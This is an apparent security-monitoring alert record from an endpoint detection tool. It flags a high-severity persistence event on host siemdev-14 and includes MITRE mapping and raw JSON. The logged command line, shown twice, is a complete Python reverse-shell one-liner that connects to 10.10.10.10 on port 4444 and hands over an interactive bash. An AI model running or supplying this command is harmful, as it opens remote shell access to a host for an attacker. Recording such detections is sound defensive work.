Alert Information
High
- Alert ID
ind:021368f9220b45cdb2760a069897c1c8:1766234349843063699-30106-1331216- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234349843063699-30106-1331216- 설명
- The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.
- 호스트
- siemdev-14
- 상태
- new
- 생성 시간
- 2025-12-20 21:40:12
- 업데이트 시간
- 2025-12-20 22:39:12
MITRE ATT&CK
- Tactic
- Persistence
- Technique
- External Remote Services
Command Line
bash -c timeout 5 bash -c 'python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])''
Raw JSON Data
{"id":"ind:021368f9220b45cdb2760a069897c1c8:1766234349843063699-30106-1331216","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234349843063699-30106-1331216","agent_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"External Remote Services","technique_id":"T1133","cmdline":"bash -c timeout 5 bash -c \u0027python3 -c \u0027import socket,subprocess,os;s=socket.socket();s.connect((\u002210.10.10.10\u0022,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\u0022/bin/bash\u0022,\u0022-i\u0022])\u0027\u0027","filename":"bash","filepath":"/usr/bin/bash","sha256":"a59fc4da19d169c175b247bfaf4a21c2ee7c16c3ed2820daa807ab12affe98fc","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:40:12.165539745Z","updated_timestamp":"2025-12-20T13:39:12.174098594Z","device":{"device_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"siemdev-14","local_ip":"172.17.0.1","external_ip":"211.198.135.5","mac_address":"16-bc-32-c0-b2-f4","platform_name":"Linux","os_version":"Rocky Linux 10.1"},"aggregate_id":"aggind:021368f9220b45cdb2760a069897c1c8:25808191018","CreatedAt":"2025-12-20T21:40:12.1655397+09:00","UpdatedAt":"2025-12-20T22:39:12.1740986+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
021368f9220b45cdb2760a069897c1c8
Actions